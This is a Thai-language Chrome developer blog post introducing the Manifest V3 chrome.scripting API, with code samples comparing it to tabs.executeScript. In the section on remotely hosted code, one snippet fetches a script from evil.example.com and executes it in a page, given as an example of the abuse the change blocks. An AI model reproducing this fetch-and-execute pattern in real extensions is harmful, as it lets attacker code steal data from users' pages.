ขอแนะนำ chrome.scripting

Manifest V3 ทำให้เกิดการเปลี่ยนแปลงหลายอย่างในแพลตฟอร์มส่วนขยายของ Chrome ในโพสต์นี้ เราจะพูดถึงแรงจูงใจและการเปลี่ยนแปลงที่เกิดจากการเปิดตัว chrome.scripting API ซึ่งเป็นการเปลี่ยนแปลงที่โดดเด่นที่สุดอย่างหนึ่ง

chrome.scripting คืออะไร

chrome.scripting เป็นเนมสเปซใหม่ที่เปิดตัวใน Manifest V3 ซึ่งมีหน้าที่รับผิดชอบความสามารถในการแทรกสคริปต์และสไตล์

นักพัฒนาซอฟต์แวร์ที่สร้างส่วนขยาย Chrome มาก่อนอาจคุ้นเคยกับเมธอด Manifest V2 ใน Tabs API เช่น chrome.tabs.executeScript และ chrome.tabs.insertCSS วิธีเหล่านี้ช่วยให้ส่วนขยายสามารถแทรกสคริปต์และสไตล์ชีตลงในหน้าเว็บได้ ใน Manifest V3 ความสามารถเหล่านี้ได้ย้ายไปอยู่ใน chrome.scripting และเราวางแผนที่จะขยายการให้บริการ API นี้ด้วยความสามารถใหม่ๆ ในอนาคต

เหตุผลที่ควรสร้าง API ใหม่

เมื่อเกิดการเปลี่ยนแปลงเช่นนี้ คำถามแรกๆ ที่มักจะเกิดขึ้นคือ "ทำไม"

ปัจจัยหลายอย่างทำให้ทีม Chrome ตัดสินใจที่จะเปิดตัวเนมสเปซใหม่สําหรับสคริปต์ ประการแรก Tabs API เป็นเหมือนลิ้นชักเก็บของกระจุกกระจิกสำหรับฟีเจอร์ ประการที่ 2 เราต้องทําการเปลี่ยนแปลงที่ทําให้ใช้งานไม่ได้กับ executeScript API ที่มีอยู่ ประการที่ 3 เราทราบดีว่าต้องการขยายความสามารถของสคริปต์สําหรับส่วนขยาย ข้อกังวลเหล่านี้แสดงให้เห็นอย่างชัดเจนถึงความจำเป็นที่ต้องมีเนมสเปซใหม่เพื่อรองรับความสามารถในการเขียนสคริปต์

ลิ้นชักเก็บของกระจุกกระจิก

ปัญหาหนึ่งที่กวนใจทีมส่วนขยายในช่วง 2-3 ปีที่ผ่านมาคือchrome.tabs API มีการใช้งานมากเกินไป เมื่อเปิดตัว API นี้เป็นครั้งแรก ความสามารถส่วนใหญ่ที่ API มอบให้เกี่ยวข้องกับแนวคิดทั่วไปของแท็บเบราว์เซอร์ แม้ในตอนนั้น ฟีเจอร์ต่างๆ ก็ยังมีไม่มากนัก แต่เมื่อเวลาผ่านไป คอลเล็กชันนี้ก็มีฟีเจอร์เพิ่มขึ้นเรื่อยๆ

เมื่อมีการเผยแพร่ Manifest V3 นั้น Tabs API ได้ขยายการให้บริการเพื่อครอบคลุมการจัดการแท็บขั้นพื้นฐาน การจัดการการเลือก การจัดระเบียบหน้าต่าง การรับส่งข้อความ การควบคุมการซูม การนําทางขั้นพื้นฐาน การสร้างสคริปต์ และความสามารถอื่นๆ เล็กๆ น้อยๆ แม้ว่าสิ่งเหล่านี้จะสำคัญทั้งหมด แต่อาจทำให้นักพัฒนาแอปรู้สึกหนักใจเมื่อเริ่มต้นใช้งาน และทำให้ทีม Chrome ต้องทำงานหนักขึ้นเนื่องจากต้องดูแลรักษาแพลตฟอร์มและพิจารณาคำขอจากชุมชนนักพัฒนาแอป

ปัจจัยที่ทำให้เกิดความซับซ้อนอีกประการหนึ่งคือผู้คนไม่เข้าใจสิทธิ์ tabs มากนัก แม้ว่าสิทธิ์อื่นๆ จำนวนมากจะจำกัดการเข้าถึง API หนึ่งๆ (เช่น storage) แต่สิทธิ์นี้ค่อนข้างผิดปกติตรงที่อนุญาตให้ส่วนขยายเข้าถึงเฉพาะพร็อพเพอร์ตี้ที่มีความละเอียดอ่อนในอินสแตนซ์แท็บเท่านั้น (และส่งผลต่อ Windows API ด้วย) เราเข้าใจดีว่านักพัฒนาส่วนขยายจํานวนมากเข้าใจผิดคิดว่าต้องมีสิทธิ์นี้เพื่อเข้าถึงเมธอดใน Tabs API เช่น chrome.tabs.create หรือ chrome.tabs.executeScript การย้ายฟังก์ชันการทำงานออกจาก Tabs API จะช่วยลดความสับสนนี้ลงได้

การเปลี่ยนแปลงที่ส่งผลกับส่วนอื่นในระบบ

เมื่อออกแบบไฟล์ Manifest V3 ปัญหาหลักอย่างหนึ่งที่เราต้องการแก้ไขคือการละเมิดและมัลแวร์ที่ "โค้ดที่โฮสต์จากระยะไกล" ซึ่งก็คือโค้ดที่ทำงานอยู่แต่ไม่รวมอยู่ในแพ็กเกจส่วนขยาย ผู้เขียนส่วนขยายที่ละเมิดมักเรียกใช้สคริปต์ที่ดึงมาจากเซิร์ฟเวอร์ระยะไกลเพื่อขโมยข้อมูลผู้ใช้ แทรกมัลแวร์ และหลบเลี่ยงการตรวจจับ แม้ว่าผู้ที่มีเจตนาดีจะใช้ความสามารถนี้ด้วย แต่สุดท้ายแล้วเราพบว่าการคงสถานะเดิมไว้นั้นอันตรายเกินไป

ส่วนขยายสามารถเรียกใช้โค้ดที่ไม่ได้รวมกลุ่มได้ 2 วิธี แต่วิธีที่เกี่ยวข้องในที่นี้คือเมธอด chrome.tabs.executeScript ของ Manifest V2 วิธีนี้ช่วยให้ส่วนขยายสามารถเรียกใช้สตริงโค้ดที่กำหนดเองในแท็บเป้าหมายได้ ซึ่งหมายความว่านักพัฒนาแอปที่เป็นอันตรายสามารถดึงข้อมูลสคริปต์ที่กำหนดเองจากเซิร์ฟเวอร์ระยะไกลและเรียกใช้สคริปต์นั้นในหน้าเว็บใดก็ได้ที่ส่วนขยายเข้าถึงได้ เราทราบดีว่าหากต้องการแก้ไขปัญหาเกี่ยวกับโค้ดระยะไกล เราจะต้องยกเลิกฟีเจอร์นี้

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

นอกจากนี้ เรายังต้องการแก้ไขปัญหาอื่นๆ ที่ละเอียดอ่อนยิ่งขึ้นเกี่ยวกับการออกแบบของไฟล์ Manifest เวอร์ชัน 2 และทำให้ API เป็นเครื่องมือที่มีประสิทธิภาพและคาดการณ์ได้มากขึ้น

แม้ว่าเราจะเปลี่ยนลายเซ็นของเมธอดนี้ภายใน Tabs API ได้ แต่เราคิดว่าการแยกการเปลี่ยนแปลงที่รุนแรงเหล่านี้ออกจากการเปิดตัวความสามารถใหม่ๆ (ซึ่งจะกล่าวถึงในส่วนถัดไป) จะช่วยให้ทุกคนใช้งานได้ง่ายขึ้น

ขยายขีดความสามารถของสคริปต์

ข้อควรพิจารณาอีกประการที่นำมาใช้ในกระบวนการออกแบบ Manifest V3 คือความต้องการที่จะเพิ่มความสามารถในการเขียนสคริปต์ลงในแพลตฟอร์มส่วนขยายของ Chrome กล่าวโดยละเอียดคือ เราต้องการเพิ่มความรองรับสคริปต์เนื้อหาแบบไดนามิกและขยายความสามารถของเมธอด executeScript

การรองรับสคริปต์เนื้อหาแบบไดนามิกเป็นคำขอฟีเจอร์ที่ Chromium ได้รับมาอย่างยาวนาน ปัจจุบันส่วนขยาย Chrome ที่ใช้ไฟล์ Manifest V2 และ V3 จะประกาศสคริปต์เนื้อหาแบบคงที่ได้ในไฟล์ manifest.json เท่านั้น แพลตฟอร์มไม่มีวิธีลงทะเบียนสคริปต์เนื้อหาใหม่ ปรับแต่งการลงทะเบียนสคริปต์เนื้อหา หรือยกเลิกการลงทะเบียนสคริปต์เนื้อหาขณะรันไทม์

แม้ว่าเราจะทราบดีว่าต้องการจัดการกับคำขอฟีเจอร์นี้ใน Manifest V3 แต่ API ที่มีอยู่ของเราก็ดูไม่เหมาะที่จะใช้ เรายังพิจารณาที่จะปรับให้สอดคล้องกับ Firefox ในContent Scripts API ของ Firefox ด้วย แต่ตั้งแต่เนิ่นๆ เราได้พบข้อเสียที่สำคัญ 2 ข้อของแนวทางนี้ ประการแรก เราทราบดีว่าจะมีลายเซ็นที่เข้ากันไม่ได้ (เช่น การเลิกรองรับcode พร็อพเพอร์ตี้) ประการที่ 2 คือ API ของเรามีข้อจำกัดด้านการออกแบบชุดอื่น (เช่น ต้องมีการลงทะเบียนเพื่อคงอยู่หลังจากอายุการใช้งานของ Service Worker) สุดท้าย เนมสเปซนี้ยังจํากัดให้เราใช้ฟังก์ชันสคริปต์เนื้อหาเท่านั้น ซึ่งเรากําลังพิจารณาการใช้สคริปต์ในส่วนขยายในวงกว้างมากขึ้น

ในด้าน executeScript เราต้องการขยายความสามารถของ API นี้ให้มากกว่าที่ Tabs API เวอร์ชันเก่ารองรับ กล่าวอย่างเจาะจงคือ เราต้องการรองรับฟังก์ชันและอาร์กิวเมนต์ กำหนดเป้าหมายเฟรมที่เฉพาะเจาะจงได้ง่ายขึ้น และกำหนดเป้าหมายบริบทที่ไม่ใช่ "แท็บ"

ในอนาคต เราจะพิจารณาวิธีที่ส่วนขยายโต้ตอบกับ PWA ที่ติดตั้งไว้และบริบทอื่นๆ ที่ไม่ได้เชื่อมโยงกับ "แท็บ" ในเชิงแนวคิด

การเปลี่ยนแปลงระหว่าง tabs.executeScript กับ scripting.executeScript

เราจะมาเจาะลึกความคล้ายคลึงและความแตกต่างระหว่าง chrome.tabs.executeScript กับ chrome.scripting.executeScript กันต่อในโพสต์นี้

การแทรกฟังก์ชันที่มีอาร์กิวเมนต์

ขณะพิจารณาว่าแพลตฟอร์มจะต้องพัฒนาไปอย่างไรภายใต้ข้อจำกัดของโค้ดที่โฮสต์จากระยะไกล เราต้องการหาจุดสมดุลระหว่างประสิทธิภาพการทำงานที่แท้จริงของโค้ดแบบกำหนดเองกับการอนุญาตให้ใช้สคริปต์เนื้อหาแบบคงที่เท่านั้น โซลูชันที่เราพบคืออนุญาตให้ส่วนขยายแทรกฟังก์ชันเป็นสคริปต์เนื้อหาและส่งอาร์เรย์ของค่าเป็นอาร์กิวเมนต์

มาดูตัวอย่าง (ที่เข้าใจง่ายเกินไป) กัน สมมติว่าเราต้องการใช้สคริปต์ที่กล่าวทักทายผู้ใช้ด้วยชื่อเมื่อผู้ใช้คลิกปุ่มดำเนินการของเทมเพลต (ไอคอนในแถบเครื่องมือ) ในไฟล์ Manifest V2 เราสามารถสร้างสตริงโค้ดแบบไดนามิกและเรียกใช้สคริปต์นั้นในหน้าปัจจุบันได้

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

แม้ว่าส่วนขยาย Manifest V3 จะใช้โค้ดที่ไม่ได้รวมอยู่กับส่วนขยายไม่ได้ แต่เป้าหมายของเราคือการคงความยืดหยุ่นบางอย่างที่บล็อกโค้ดที่กำหนดเองเปิดใช้สำหรับส่วนขยาย Manifest V2 แนวทางการใช้ฟังก์ชันและอาร์กิวเมนต์ช่วยให้ผู้ตรวจสอบผู้ใช้ และบุคคลอื่นๆ ที่สนใจใน Chrome เว็บสโตร์ประเมินความเสี่ยงที่เกิดจากส่วนขยายได้อย่างแม่นยำยิ่งขึ้น ทั้งยังช่วยให้นักพัฒนาแอปแก้ไขลักษณะการทำงานรันไทม์ของส่วนขยายตามการตั้งค่าของผู้ใช้หรือสถานะแอปพลิเคชันได้อีกด้วย

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

เฟรมการกําหนดเป้าหมาย

นอกจากนี้ เรายังต้องการปรับปรุงวิธีที่นักพัฒนาแอปโต้ตอบกับเฟรมใน API ที่แก้ไขแล้ว executeScript เวอร์ชันไฟล์ Manifest V2 อนุญาตให้นักพัฒนาแอปกําหนดเป้าหมายเฟรมทั้งหมดในแท็บหรือเฟรมที่เฉพาะเจาะจงในแท็บ คุณสามารถใช้ chrome.webNavigation.getAllFrames เพื่อดูรายการเฟรมทั้งหมดในแท็บ

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

ในไฟล์ Manifest เวอร์ชัน 3 เราได้แทนที่พร็อพเพอร์ตี้จำนวนเต็ม frameId (ไม่บังคับ) ในแอบเจ็กต์ options ด้วยอาร์เรย์จำนวนเต็ม frameIds (ไม่บังคับ) ซึ่งช่วยให้นักพัฒนาแอปกำหนดเป้าหมายเฟรมหลายเฟรมในการเรียก API ครั้งเดียวได้

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

ผลการฉีดสคริปต์

นอกจากนี้ เรายังได้ปรับปรุงวิธีแสดงผลลัพธ์ของอินเจคชั่นสคริปต์ใน Manifest V3 ด้วย "ผลลัพธ์" ก็คือคำสั่งสุดท้ายที่ประเมินในสคริปต์ โปรดนึกถึงค่าที่แสดงเมื่อคุณเรียกใช้ eval() หรือเรียกใช้บล็อกโค้ดในคอนโซลเครื่องมือสำหรับนักพัฒนาเว็บของ Chrome แต่มีการแปลงเป็นอนุกรมเพื่อส่งผลลัพธ์ไปยังกระบวนการต่างๆ

ในไฟล์ Manifest V2 executeScript และ insertCSS จะแสดงผลอาร์เรย์ของผลลัพธ์การดำเนินการแบบธรรมดา ซึ่งไม่เป็นปัญหาหากคุณมีจุดแทรกเพียงจุดเดียว แต่ระบบไม่รับประกันลําดับผลลัพธ์เมื่อแทรกลงในหลายเฟรม จึงไม่สามารถระบุได้ว่าผลลัพธ์ใดเชื่อมโยงกับเฟรมใด

มาดูตัวอย่างที่เป็นรูปธรรมกัน นั่นคืออาร์เรย์ results ที่แสดงผลโดยส่วนขยายเดียวกันใน Manifest V2 และ Manifest V3 ส่วนขยายทั้ง 2 เวอร์ชันจะแทรกสคริปต์เนื้อหาเดียวกัน และเราจะเปรียบเทียบผลลัพธ์ในหน้าเดโมเดียวกัน

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

เมื่อเรียกใช้ไฟล์ Manifest เวอร์ชัน 2 เราจะได้อาร์เรย์ [1, 0, 5] กลับมา ผลลัพธ์ใดสอดคล้องกับเฟรมหลักและผลลัพธ์ใดสำหรับ iframe ค่าที่แสดงผลไม่ได้บอกเรา เราจึงไม่ทราบแน่ชัด

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

ในเวอร์ชัน Manifest V3 ตอนนี้ results มีอาร์เรย์ของออบเจ็กต์ผลลัพธ์แทนอาร์เรย์ของผลการประเมินเท่านั้น และออบเจ็กต์ผลลัพธ์จะระบุรหัสของเฟรมสำหรับผลลัพธ์แต่ละรายการอย่างชัดเจน ซึ่งช่วยให้นักพัฒนาแอปนําผลลัพธ์ไปใช้และดําเนินการกับเฟรมที่เฉพาะเจาะจงได้ง่ายขึ้นมาก

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

สรุป

การอัปเกรดเวอร์ชันไฟล์ Manifest เป็นโอกาสอันหายากในการคิดทบทวนใหม่และปรับปรุง API ของส่วนขยายให้ทันสมัย เป้าหมายของเราสำหรับไฟล์ Manifest V3 คือปรับปรุงประสบการณ์ของผู้ใช้ปลายทางด้วยการทำให้ส่วนขยายปลอดภัยยิ่งขึ้น ในขณะเดียวกันก็ปรับปรุงประสบการณ์ของนักพัฒนาแอปด้วย การเปิดตัว chrome.scripting ในไฟล์ Manifest V3 ช่วยให้เราสามารถช่วยล้างข้อมูล Tabs API, ปรับโฉม executeScript เพื่อแพลตฟอร์มส่วนขยายที่ปลอดภัยยิ่งขึ้น และวางรากฐานสำหรับความสามารถใหม่ของสคริปต์ที่จะเปิดตัวในช่วงปลายปีนี้